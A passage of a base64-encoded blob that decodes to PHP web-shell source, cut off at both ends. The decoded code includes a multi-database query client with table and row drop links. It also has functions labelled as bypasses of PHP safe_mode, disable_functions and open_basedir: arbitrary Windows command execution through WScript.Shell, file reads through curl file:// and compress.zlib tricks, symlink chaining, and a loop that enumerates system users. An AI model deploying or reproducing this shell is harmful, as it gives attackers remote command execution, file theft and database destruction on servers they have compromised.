gkkZ2V0Y2xtPSRfR0VUW2NsbV07DQoJJHF1ZXJ5PSJERUxFVEUgRlJPTSBgJF9TRVNTSU9OW3RibF1gIFdIRVJFICRnZXRjbG09JyRnZXRyb3cnIjsNCgkkdGJsPSRfU0VTU0lPTlt0YmxdOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sIlNFTEVDVCAqIEZST00gYCR0YmxgIik7DQp9DQplbHNlDQoJJHJlcz1xdWVyWSgkdHlwZSwkc2VydmVyLCR1c2VyLCRwYXNzLCRkYiwkcXVlcnkpOw0KDQppZigkcmVzKXsNCiRyZXM9aHRtbHNwZWNpYWxjaGFycygkcmVzKTsNCiRyb3c9YXJyYXkgKCk7DQokdGl0bGU9ZXhwbG9kZSgnWytdWytdWytdJywkcmVzKTsNCiR0cm93PWV4cGxvZGUoJ1stXVstXVstXScsJHRpdGxlWzFdKTsNCiRyb3c9ZXhwbG9kZSgnfCt8K3wrfCt8K3wnLCR0aXRsZVswXSk7DQokZGF0YT1hcnJheSgpOw0KJGZpZWxkPSR0cm93W2NvdW50KCR0cm93KS0yXTsNCmlmIChzdHJzdHIoJHRyb3dbMF0sJ0RhdGFiYXNlJykhPScnKQ0KCSRvYmo9J2RiJzsNCmVsc2VpZiAoc3Vic3RyKCR0cm93WzBdLDAsNik9PSdUYWJsZXMnKQ0KCSRvYmo9J3RibCc7DQplbHNlDQoJJG9iaj0ncm93JzsNCiRpPTA7DQpmb3JlYWNoICgkcm93IGFzICRhKXsNCmlmKCRhIT0nJykNCiRkYXRhWyRpKytdPWV4cGxvZGUoJ3wtfC18LXwtfC18JywkYSk7DQp9DQoNCmVjaG8gIjx0YWJsZSBib3JkZXI9MSBib3JkZXJjb2xvcj0nI0M2QzZDNicgY2VsbHBhZGRpbmc9JzInIGJnY29sb3I9J0VBRUFFQScgd2lkdGg9JzEwMCUnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlJz48dHI+IjsNCmZvcmVhY2ggKCR0cm93IGFzICR0aSkNCmVjaG8gIjx0ZCBiZ2NvbG9yPSdGMkYyRjInPiR0aTwvdGQ+IjsNCmVjaG8gIjwvdHI+IjsNCiRqPTA7DQp3aGlsZSAoJGRhdGFbJGpdKXsNCgllY2hvICI8dHI+IjsNCglmb3JlYWNoICgkZGF0YVskaisrXSBhcyAkZHIpew0KCQllY2hvICI8dGQ+IjsNCgkJaWYoJG9iaiE9J3JvdycpIGVjaG8gIjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZzZWxlY3RfJG9iaj0kZHInPiI7DQoJCWVjaG8gJGRyOw0KCQlpZigkb2JqIT0ncm93JykgZWNobyAiPC9hPiI7DQoJCWVjaG8gIjwvdGQ+IjsNCgl9DQoJZWNobyAiPHRkPjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZkcm9wXyRvYmo9JGRyIjsNCglpZigkb2JqPT0ncm93JykNCgkJZWNobyAiJmNsbT0kZmllbGQiOw0KCWVjaG8gIic+RHJvcDwvYT48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+PGJyPiI7DQoNCn0NCg0KDQoNCgkNCg0KaWYoZW1wdHkoJF9SRVFVRVNUWyd0eXBFJ10pKSRfUkVRVUVTVFsndHlwRSddPScnOw0KZWNobyAiPGNlbnRlcj48Zm9ybSBuYW1lPWNsaWVudCBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJF9TRVJWRVJbUEhQX1NFTEZdP2RvPWRiJz48dGFibGUgYm9yZGVyPScxJyB3aWR0aD0nNDAwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZScgaWQ9J3RhYmxlMScgYm9yZGVyY29sb3I9JyNDNkM2QzYnIGNlbGxwYWRkaW5nPScyJz48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+Q29ubmVjdCB0byBEYXRhYmFzZTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9JzE1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGZvbnQgZmFjZT0nQXJpYWwnIHNpemU9JzInPkRCIFR5cGU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxzZWxlY3QgbmFtZT10eXBFPjxvcHRpb24gdmFsdXQ9TXlTUUwgIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSBmYWxzZTsnICI7DQppZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdNeVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U1FMPC9vcHRpb24+PG9wdGlvbiB2YWx1dD1NU1NRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nTVNTUUwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NU1NRTDwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9T3JhY2xlIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSB0cnVlOycgIjsNCmlmICgkX1JFUVVFU1RbJ3R5cEUnXT09J09yYWNsZScpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk9yYWNsZTwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9UG9zdGdyZVNRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nUG9zdGdyZVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTUUw8L29wdGlvbj48b3B0aW9uIHZhbHV0PURCMiBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nREIyJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+SUJNIERCMjwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5TZXJ2ZXIgQWRkcmVzczo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT0nIjsNCmlmICghZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ3NlcnZlUiddKTtlbHNlIGVjaG8gJ2xvY2FsaG9zdCc7IA0KZWNobyAiJyBuYW1lPXNlcnZlUiBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5Vc2VybmFtZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZVIgdmFsdWU9JyI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsndXNlUiddKTtlbHNlIGVjaG8gJ3Jvb3QnOyANCmVjaG8gIicgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9JyI7DQppZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNTJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydwYXNTJ10pO2Vsc2UgZWNobyAnMTIzJzsgDQplY2hvICInIG5hbWU9cGFzUyBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+U3VibWl0IGEgUXVlcnk8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5EQiBOYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0nMjUwJyBiZ2NvbG9yPScjRUFFQUVBJz48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPSciOw0KaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2RCJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydkQiddKTsgDQplY2hvICInIG5hbWU9ZEIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UXVlcnk6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjx0ZXh0YXJlYSBuYW1lPXF1ZXJZIHJvd3M9NSBjb2xzPTI3PiI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygoJF9SRVFVRVNUWydxdWVyWSddKSk7ZWxzZSBlY2hvICdTSE9XIERBVEFCQVNFUyc7IA0KZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nNDAwJyBjb2xzcGFuPScyJyBiZ2NvbG9yPScjRUFFQUVBJz4kaGN3ZDxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPSdTdWJtaXQnIHN0eWxlPSdmbG9hdDogcmlnaHQnPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4kZXQ8L2NlbnRlcj4iOw0KfQ0KDQoNCmZ1bmN0aW9uIHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpew0KJHJlcz0nJzsNCnN3aXRjaCgkdHlwZSl7DQpjYXNlICdNeVNRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW15c3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0KaWYgKCRyZXN1bHQhPTEpew0Kd2hpbGUoJGRhdGE9bXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCn0NCm15c3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1tc3NxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW1zc3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1tc3NxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0Kd2hpbGUoJGRhdGE9bXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXNzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCm1zc3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdPcmFjbGUnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSlyZXR1cm4gMDsNCiRsaW5rPW9jaWxvZ29uKCR1c2VyLCRwYXNzLCRkYik7DQppZigkbGluayl7DQokc3RtPW9jaXBhcnNlKCRsaW5rLCRxdWVyeSk7DQpvY2lleGVjdXRlKCRzdG0sT0NJX0RFRkFVTFQpOw0Kd2hpbGUoJGRhdGE9b2NpZmV0Y2hpbnRvKCRzdG0sJGRhdGEsT0NJX0FTU09DK09DSV9SRVRVUk5fTlVMTFMpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8b2NpX251bV9maWVsZHMoJHN0bSk7JGkrKykNCiRyZXMuPW9jaV9maWVsZF9uYW1lKCRzdG0sJGkpLidbLV1bLV1bLV0nOw0KcmV0dXJuICRyZXM7DQp9DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKXJldHVybiAwOw0KJGxpbms9cGdfY29ubmVjdCgiaG9zdD0kaG9zdCBkYm5hbWU9JGRiIHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MiKTsNCmlmKCRsaW5rKXsNCiRyZXN1bHQ9cGdfcXVlcnkoJGxpbmssJHF1ZXJ5KTsNCndoaWxlKCRkYXRhPXBnX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPHBnX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykNCiRyZXMuPXBnX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSkuJ1stXVstXVstXSc7DQpwZ19jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KY2FzZSAnREIyJzoNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RiMl9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1kYjJfY29ubmVjdCgkZGIsJHVzZXIsJHBhc3MpOw0KaWYoJGxpbmspew0KJHJlc3VsdD1kYjJfZXhlYygkbGluaywkcXVlcnkpOw0Kd2hpbGUoJGRhdGE9ZGIyX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPGRiMl9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspDQokcmVzLj1kYjJfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCmRiMl9jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBieXdzeW0oJGZpbGUpew0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKXtlY2hvICJGdW5jdGlvbiBTeW1saW5rIE5vdCBFeGlzdCI7fQ0KDQppZighaXNfd3JpdGFibGUoIi4iKSkNCglkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCiRsZXZlbD0wOw0KZm9yKCRhcz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQoJaWYoIWZpbGVfZXhpc3RzKCRmYWtlZGlyKSkNCgkJbWtkaXIoJGZha2VkaXIpOw0KCWNoZGlyKCRmYWtlZGlyKTsNCn0NCndoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOw0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCglpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCgkJaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgDQoJCQlta2RpcigkaGFyZHN0eWxlWyRhXSk7DQoJCWNoZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJJGFzKys7DQp9fQ0KJGFzKys7DQp3aGlsZSgkYXMtLSkNCgljaGRpcigiLi4iKTsNCkBybWRpcigiZmFrZXN5bWxpbmsiKTsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQp3aGlsZSgxKQ0KCWlmKHRydWU9PShAc3ltbGluaygiZmFrZXN5bWxpbmsvIi5zdHJfcmVwZWF0KCIuLi8iLCRmYWtlZGVwLTEpLiRmaWxlLCAic3ltbGluayIuJG51bSkpKSBicmVhazsNCgllbHNlICRudW0rKzsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCn0NCmZ1bmN0aW9uIGJ5cGN1KCRmaWxlKXsNCiRsZXZlbD0wOw0KDQppZighZmlsZV9leGlzdHMoImZpbGU6IikpDQoJbWtkaXIoImZpbGU6Iik7DQpjaGRpcigiZmlsZToiKTsNCiRsZXZlbCsrOw0KDQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJCWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRsZXZlbCsrOw0KCX0NCn0NCg0Kd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxlKTsNCg0KZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSI0MCIgY29scz0iMTIwIj4nOw0KDQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnkuLi4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KDQplY2hvICcgPC90ZXh0YXJlYT4gPC9GT05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCn0NCmlmICgkX1JFUVVFU1RbJ2J5cGN1J10pew0KYnlwY3UoJF9SRVFVRVNUWydieXBjdSddKTsNCn0NCmlmKCRfUkVRVUVTVFsnZG8nXT09ImJ5cGFzc2NtZCIpew0KaWYoJF9QT1NUWydieWN3J10pew0KZWNobyAkX1BPU1RbJ2J5Y3cnXTsNCiR3c2ggPSBuZXcgQ09NKCdXJy4nU2NyJy4naXAnLid0LnNoZScuJ2xsJyk7DQogICAgICAgICAgICAkZXhlYyA9ICR3c2gtPmV4ZWMgKCJjbSIuImQuZSIuInhlIC9jICIuJF9QT1NUWydieWN3J10uIiIpOw0KICAgICAgICAgICAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCiAgICAgICAgICAgICRzdGNvbSA9ICRzdGRvdXQtPlJlYWRBbGwoKTt9DQoJCQkNCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO30gZWNobyAkc3Rjb20uJzwvdGV4dGFyZWE+PGhyPjxjZW50ZXI+QnlwYXNzIFNhZmVfTW9kZSBBbmQgRGlzYWJsZV9GdW5jdGlvbnMgSW4gV2luZG93cyBTZXJ2ZXI8YnI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij48dHI+PHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NjbWQiIG5hbWU9ZG8+Q29tbWFuZCA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnljdyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT5CeXBhc3MgU2FmZV9Nb2RlIFdpbmRvd3MgU2VydmVyPGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0NvbW1hbmQgPC9mb250PjwvdGQ+PHRkIHdpZHRoPSI3NTAiPjxpbnB1dCBuYW1lPWJ5d3Mgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzY21kIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7Ow0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0iYnlwYXNzZGlyIil7DQppZigkX1BPU1RbJ2J5b2MnXSl7DQppZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ2J5b2MnXSwgZ2V0Y3dkKCkuIi8iLiJwZWppLnR4dCIpKXsNCiRib3BlbnM9IkJ5cGFzcyBTdWNjZXNmdWxsIFBseiBSZWFkIEZpbGUgUGVqaS50eHQgSW4gVGhpcyBGb2xkZXIiOw0KfWVsc2V7JGJvcGVucz0iQ2FuIE5vdCBCeXBhc3MgVGhpcyI7fQ0KfQ0KaWYoJF9QT1NUWydieWZjJ10pew0KY3VybF9pbml0KCJmaWxlOi8vLyIuJF9QT1NUWydieWZjJ10uIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQokZGViZmM9Y3VybF9leGVjKCRjaCk7DQp9DQppZigkX1BPU1RbJ2J5ZXRjJ10pew0KZm9yKCRieWU9MDskYnllPDQwMDAwOyRieWUrKyl7DQokc2JlcCA9JHNiZXAuIHBvc2l4X2dldHB3dWlkKCRieWUpOw0KfX0NCmlmKCRfUE9TVFsnYnlmYzknXSl7DQplY2hvICJub3Qgc3Vjc2Z1bGwiOw0KfQ0KaWYoJF9SRVFVRVNUWydieXN5bWwnXSl7DQokZmlsZT0kX1JFUVVFU1RbJ2J5c3ltbCddOw0KYnl3c3ltKCRmaWxlKTsNCn0NCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO31pZihpc3NldCgkc2JlcCkpe2ZvcigkZmJlPTA7JGZiZTxjb3VudCgkc2JlcCk7JGZiZSsrKXtlY2hvICRzYmVwWyRmYmVdO319IGlmKGlzc2V0KCRkZWJmYykpe30gZWNobyAkYm9wZW5zLic8L3RleHRhcmVhPjxocj48Y2VudGVyPkJ5cGFzcyBTYWZlX01vZGUgQW5kIE9wZW5fYmFzZWRpciBXaXRoIEJ1ZyBDb3B5KFpsaWIpIFdvcmtlZCBJbiA0LjQuMiAuLiA1LjEuMjxicj48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iOTUwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgaWQ9InRhYmxlNCIgY2VsbHBhZGRpbmc9IjUiPjx0cj48dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0Ij4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NkaXIiIG5hbWU9ZG8+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPkFkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlvYyBzaXplPTUwID48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJyZWFkIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyBPcGVuX2Jhc2VkaXIgQW5kIFJlYWQgRmlsZSBXaXRoIEJ1ZyBDdXJsIFdvcmtlZCBJbiBQSFAgNC40LjIgYW5kIDUuMS40PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48aHI+QnlwYXNzIE9wZW5fYmFzZWRpciBBbmQgUmVhZCBGaWxlIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIFBIUCA0LlggLi4uIDUuMi45PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYzkgc2l6ZT01MD48aW5wdXQgdHlw